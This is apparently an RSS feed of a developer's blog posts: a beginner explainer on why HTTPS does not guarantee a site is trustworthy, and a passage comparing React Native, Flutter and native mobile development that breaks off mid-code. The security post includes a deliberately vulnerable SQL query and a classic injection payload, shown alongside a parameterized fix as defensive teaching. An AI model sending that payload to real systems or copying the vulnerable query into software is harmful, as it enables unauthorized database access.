<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: khg5293</title>
    <description>The latest articles on DEV Community by khg5293 (@khg5293).</description>
    <link>https://dev.to/khg5293</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F4112926%2Ff4ba98e2-2873-4fe9-ac24-9c26dba37d79.png</url>
      <title>DEV Community: khg5293</title>
      <link>https://dev.to/khg5293</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/khg5293"/>
    <language>en</language>
    <item>
      <title>Why HTTPS Doesn't Mean a Website Is Safe</title>
      <dc:creator>khg5293</dc:creator>
      <pubDate>Mon, 12 Oct 2026 02:07:30 +0000</pubDate>
      <link>https://dev.to/khg5293/why-https-doesnt-mean-a-website-is-safe-10ei</link>
      <guid>https://dev.to/khg5293/why-https-doesnt-mean-a-website-is-safe-10ei</guid>
      <description>&lt;p&gt;We've all been told to look for HTTPS when visiting a website.&lt;/p&gt;

&lt;p&gt;If the URL starts with &lt;code&gt;https://&lt;/code&gt; and the browser doesn't show a security warning, it's easy to assume everything is safe.&lt;/p&gt;

&lt;p&gt;But there's an important distinction that often gets overlooked:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;HTTPS protects your connection to a website. It doesn't guarantee that the website itself is trustworthy.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Let's break down why that matters.&lt;/p&gt;

&lt;h2&gt;
  
  
  What HTTPS Actually Protects
&lt;/h2&gt;

&lt;p&gt;HTTPS stands for Hypertext Transfer Protocol Secure. It uses TLS (Transport Layer Security) to secure communication between your browser and a web server.&lt;/p&gt;

&lt;p&gt;Consider these two URLs:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;http://example.com/login
https://example.com/login
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The first uses unencrypted HTTP. The second uses HTTPS, which protects HTTP traffic using TLS.&lt;/p&gt;

&lt;p&gt;When properly implemented, HTTPS provides three important protections:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Encryption:&lt;/strong&gt; Prevents someone monitoring the network from easily reading the data being transmitted.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Integrity:&lt;/strong&gt; Protects against unauthorized modification of data in transit.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Authentication:&lt;/strong&gt; Helps verify that you're communicating with a server authorized for the domain you're visiting.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;These protections are essential, especially when transmitting sensitive information such as passwords, payment details, or personal data.&lt;/p&gt;

&lt;p&gt;Here's a simplified comparison:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Protection&lt;/th&gt;
&lt;th&gt;HTTP&lt;/th&gt;
&lt;th&gt;HTTPS&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Encrypted communication&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Data integrity in transit&lt;/td&gt;
&lt;td&gt;No cryptographic guarantee&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Server authentication&lt;/td&gt;
&lt;td&gt;No TLS authentication&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Guarantees website is trustworthy&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Notice that last row.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;HTTPS secures the communication channel, not the trustworthiness of the website itself.&lt;/strong&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Even Phishing Websites Can Use HTTPS
&lt;/h2&gt;

&lt;p&gt;Imagine receiving an email claiming that your account needs immediate verification.&lt;/p&gt;

&lt;p&gt;The email contains a link:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;https://khg5293-login.example
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;em&gt;This is a fictional domain used for demonstration.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;You click it and find a convincing login page.&lt;/p&gt;

&lt;p&gt;The URL uses HTTPS, your browser accepts the certificate, and there are no obvious connection security warnings.&lt;/p&gt;

&lt;p&gt;Does that mean the website is legitimate?&lt;/p&gt;

&lt;p&gt;Not necessarily.&lt;/p&gt;

&lt;p&gt;An attacker can register a domain, obtain a valid TLS certificate, and host a phishing page that looks nearly identical to a legitimate website.&lt;/p&gt;

&lt;p&gt;For example, consider these fictional URLs:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# Legitimate website
https://accounts.example.com/login

# Lookalike phishing website
https://accounts-example-login.test/login
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Both could use HTTPS. Both could have valid TLS certificates for their respective domains.&lt;/p&gt;

&lt;p&gt;But only one might belong to the organization you intended to visit.&lt;/p&gt;

&lt;p&gt;When you enter your credentials, HTTPS encrypts the information before transmitting it.&lt;/p&gt;

&lt;p&gt;Here's the problem:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Your credentials could be securely transmitted directly to an attacker.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;HTTPS is functioning exactly as intended. It simply cannot determine whether the destination deserves your trust.&lt;/p&gt;

&lt;h2&gt;
  
  
  HTTPS Doesn't Fix Application Vulnerabilities
&lt;/h2&gt;

&lt;p&gt;Even legitimate websites using HTTPS can contain serious security vulnerabilities.&lt;/p&gt;

&lt;p&gt;Some common examples include:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;SQL Injection:&lt;/strong&gt; An application improperly handles user input, allowing attackers to manipulate database queries.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Cross-Site Scripting (XSS):&lt;/strong&gt; Malicious scripts execute in users' browsers due to unsafe handling of untrusted content.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Broken Access Control:&lt;/strong&gt; Users access resources or perform actions beyond their authorized permissions.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Server Compromise:&lt;/strong&gt; Attackers gain unauthorized access to the infrastructure hosting the application.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;HTTPS doesn't automatically prevent any of these problems.&lt;/p&gt;

&lt;h3&gt;
  
  
  Example: An HTTPS Login Request
&lt;/h3&gt;

&lt;p&gt;Consider the following application-level HTTP request:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="nf"&gt;POST&lt;/span&gt; &lt;span class="nn"&gt;/api/login&lt;/span&gt; &lt;span class="k"&gt;HTTP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="m"&gt;1.1&lt;/span&gt;
&lt;span class="na"&gt;Host&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;demo.example&lt;/span&gt;
&lt;span class="na"&gt;Content-Type&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;application/json&lt;/span&gt;

&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"username"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"khg5293"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"password"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"example-password"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When sent over HTTPS, this HTTP message is protected inside an encrypted TLS connection.&lt;/p&gt;

&lt;p&gt;A network observer generally cannot read the request body or credentials in transit.&lt;/p&gt;

&lt;p&gt;But what happens after the server receives the request?&lt;/p&gt;

&lt;p&gt;If the application stores passwords insecurely, has vulnerable authentication logic, or exposes sensitive information through improperly configured endpoints, HTTPS won't fix those issues.&lt;/p&gt;

&lt;h3&gt;
  
  
  Example: SQL Injection Over HTTPS
&lt;/h3&gt;

&lt;p&gt;Imagine a backend application that constructs SQL queries by directly inserting user-provided input:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Vulnerable example: never construct queries this way&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;username&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;username&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;query&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;
  &lt;span class="s2"&gt;`SELECT * FROM users WHERE username = '&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;username&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;'`&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If an attacker submits a specially crafted username, the resulting SQL statement could behave differently than intended.&lt;/p&gt;

&lt;p&gt;For example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;
&lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;users&lt;/span&gt;
&lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="n"&gt;username&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;''&lt;/span&gt; &lt;span class="k"&gt;OR&lt;/span&gt; &lt;span class="s1"&gt;'1'&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'1'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Depending on the application's database logic, this could cause the query to return records it shouldn't.&lt;/p&gt;

&lt;p&gt;And yes, this attack can be delivered over a perfectly valid HTTPS connection.&lt;/p&gt;

&lt;p&gt;The solution isn't to remove HTTPS. It's to implement proper application security controls.&lt;/p&gt;

&lt;p&gt;For example, using a parameterized query:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Safer approach: parameterized SQL query&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;username&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;username&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;rows&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;db&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;execute&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
  &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;SELECT * FROM users WHERE username = ?&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;username&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Here, the username is passed as data rather than being concatenated into the SQL statement.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;HTTPS protects the data while it's traveling. Secure application design protects how that data is processed.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Both are necessary.&lt;/p&gt;

&lt;h2&gt;
  
  
  A Valid TLS Certificate Is Not a Security Audit
&lt;/h2&gt;

&lt;p&gt;Another common misconception is that a website must pass a comprehensive security inspection to obtain an HTTPS certificate.&lt;/p&gt;

&lt;p&gt;That's not how typical TLS certificates work.&lt;/p&gt;

&lt;p&gt;For a Domain Validation (DV) certificate, a certificate authority verifies that the applicant controls the domain.&lt;/p&gt;

&lt;p&gt;It does not guarantee that:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The website is free from malware.&lt;/li&gt;
&lt;li&gt;The application has no security vulnerabilities.&lt;/li&gt;
&lt;li&gt;The organization operating the website is legitimate.&lt;/li&gt;
&lt;li&gt;The website handles personal information responsibly.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;You can inspect a website's certificate using OpenSSL:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;openssl s_client &lt;span class="nt"&gt;-connect&lt;/span&gt; example.com:443 &lt;span class="nt"&gt;-servername&lt;/span&gt; example.com
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Or retrieve selected certificate details:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; | openssl s_client &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-connect&lt;/span&gt; example.com:443 &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-servername&lt;/span&gt; example.com 2&amp;gt;/dev/null &lt;span class="se"&gt;\&lt;/span&gt;
  | openssl x509 &lt;span class="nt"&gt;-noout&lt;/span&gt; &lt;span class="nt"&gt;-subject&lt;/span&gt; &lt;span class="nt"&gt;-issuer&lt;/span&gt; &lt;span class="nt"&gt;-dates&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This can show information such as the certificate subject, issuing certificate authority, and validity dates.&lt;/p&gt;

&lt;p&gt;But none of that constitutes a security audit of the website.&lt;/p&gt;

&lt;p&gt;Services such as Let's Encrypt have made TLS certificates widely accessible, which is a tremendous improvement for web security.&lt;/p&gt;

&lt;p&gt;However, that accessibility also means malicious websites can obtain valid certificates.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;A valid certificate establishes technical trust in the connection, not a guarantee of the website's intentions.&lt;/strong&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  What Should You Look For Instead?
&lt;/h2&gt;

&lt;p&gt;HTTPS is still extremely important. You should expect modern websites, especially those handling sensitive information, to use it.&lt;/p&gt;

&lt;p&gt;But it shouldn't be your only security check.&lt;/p&gt;

&lt;p&gt;Here are a few practical habits:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Verify the domain name.&lt;/strong&gt; Pay attention to misspellings, unusual subdomains, and lookalike domains.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Be cautious with unexpected links.&lt;/strong&gt; Especially messages creating urgency around account verification, payments, or password resets.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Navigate directly to important websites.&lt;/strong&gt; Use trusted bookmarks or manually enter known addresses instead of following suspicious links.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Enable multifactor authentication.&lt;/strong&gt; Phishing-resistant methods, such as passkeys and hardware security keys, provide stronger protection against credential theft.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Keep your software updated.&lt;/strong&gt; Browser and operating system security updates help protect against vulnerabilities that HTTPS cannot address.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;These practices work alongside HTTPS rather than replacing it.&lt;/p&gt;

&lt;h2&gt;
  
  
  Final Thoughts
&lt;/h2&gt;

&lt;p&gt;HTTPS is a fundamental part of modern web security.&lt;/p&gt;

&lt;p&gt;It encrypts communication, protects data integrity, and helps authenticate the server you're connecting to.&lt;/p&gt;

&lt;p&gt;But a secure connection and a trustworthy website are not the same thing.&lt;/p&gt;

&lt;p&gt;A phishing website can have a valid TLS certificate. A legitimate HTTPS website can still contain critical vulnerabilities. And encrypted communication doesn't guarantee that your information will be handled securely once it reaches its destination.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;HTTPS tells you that your connection is protected. It doesn't tell you whether you should trust what's on the other end.&lt;/strong&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>cybersecurity</category>
      <category>webdev</category>
      <category>beginners</category>
    </item>
    <item>
      <title>React Native vs Flutter vs Native: There Is No Universal Best Choice</title>
      <dc:creator>khg5293</dc:creator>
      <pubDate>Sat, 03 Oct 2026 15:48:42 +0000</pubDate>
      <link>https://dev.to/khg5293/react-native-vs-flutter-vs-native-there-is-no-universal-best-choice-4e7o</link>
      <guid>https://dev.to/khg5293/react-native-vs-flutter-vs-native-there-is-no-universal-best-choice-4e7o</guid>
      <description>&lt;p&gt;When people start planning a mobile application, one of the first technical decisions is often:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Should we build it with React Native, Flutter, or native development?
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;There is no universal answer.&lt;/p&gt;

&lt;p&gt;Each approach solves a slightly different problem.&lt;/p&gt;

&lt;p&gt;A useful way to think about them is:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;React Native:&lt;/strong&gt; Share much of your application code while still using native platform components.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Flutter:&lt;/strong&gt; Build a highly consistent cross-platform interface using Dart and Flutter's own UI framework.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Native:&lt;/strong&gt; Build separately for each platform using the tools and APIs provided directly by Apple and Google.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;All three approaches can produce good applications.&lt;/p&gt;

&lt;p&gt;The better choice depends on what you are building, who is building it, and how much platform-specific control you need.&lt;/p&gt;

&lt;h2&gt;
  
  
  What Cross-Platform Development Actually Means
&lt;/h2&gt;

&lt;p&gt;A cross-platform framework tries to let developers share code between platforms such as Android and iOS.&lt;/p&gt;

&lt;p&gt;Instead of maintaining completely separate applications:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;iOS codebase
Android codebase
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;you may be able to share a large portion of the application:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Shared application logic
Shared networking code
Shared state management
Shared UI components
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;while still producing applications that run on both platforms.&lt;/p&gt;

&lt;p&gt;For a simple example, imagine an application displaying a profile for &lt;code&gt;khg5293&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The application needs to:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Request profile data
Store application state
Display the username
Handle button presses
Navigate between screens
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Much of that logic is conceptually identical whether the user is running Android or iOS.&lt;/p&gt;

&lt;p&gt;Cross-platform frameworks try to reuse that work.&lt;/p&gt;

&lt;p&gt;The tradeoff is that Android and iOS are still different operating systems.&lt;/p&gt;

&lt;p&gt;Eventually, some applications need to interact with platform-specific behavior.&lt;/p&gt;

&lt;p&gt;That is where the differences between React Native, Flutter, and fully native development become more important.&lt;/p&gt;

&lt;h2&gt;
  
  
  React Native
&lt;/h2&gt;

&lt;p&gt;React Native allows developers to build mobile applications primarily using JavaScript or TypeScript and React.&lt;/p&gt;

&lt;p&gt;A simplified component might look like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight jsx"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;UserProfile&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;user&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="na"&gt;username&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;khg5293&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;platform&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;android&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;
  &lt;span class="p"&gt;};&lt;/span&gt;

  &lt;span class="k"&gt;return &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nc"&gt;View&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
      &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nc"&gt;Text&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;username&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nc"&gt;Text&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nc"&gt;View&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;For developers who already work with React on the web, this programming model can feel familiar.&lt;/p&gt;

&lt;p&gt;You still have:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Components
Props
State
Hooks
JavaScript or TypeScript
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That can significantly reduce the learning curve for teams that already have strong JavaScript experience.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why React Native Is Attractive
&lt;/h2&gt;

&lt;p&gt;One of React Native's biggest advantages is ecosystem familiarity.&lt;/p&gt;

&lt;p&gt;A company may already have developers who know:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;JavaScript
TypeScript
React
npm
REST APIs
Frontend state management
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Those skills transfer reasonably well into React Native development.&lt;/p&gt;

&lt;p&gt;That makes React Native especially interesting for teams that already build web applications with React.&lt;/p&gt;

&lt;p&gt;For example, an application might use TypeScript to represent a user:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="kd"&gt;type&lt;/span&gt; &lt;span class="nx"&gt;User&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="na"&gt;username&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nl"&gt;platform&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;ios&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;android&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;User&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="na"&gt;username&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;khg5293&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;platform&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;android&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The language, tooling, and programming style may already be familiar to the team.&lt;/p&gt;

&lt;p&gt;React Native can therefore be a practical way to move into mobile development without completely abandoning an existing JavaScript ecosystem.&lt;/p&gt;

&lt;h2&gt;
  
  
  Where React Native Becomes More Complicated
&lt;/h2&gt;

&lt;p&gt;React Native does not make Android and iOS identical.&lt;/p&gt;

&lt;p&gt;Eventually, an application may need functionality that behaves differently between platforms.&lt;/p&gt;

&lt;p&gt;For example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;Platform&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;react-native&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;Platform&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;OS&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;ios&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Running on iOS&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

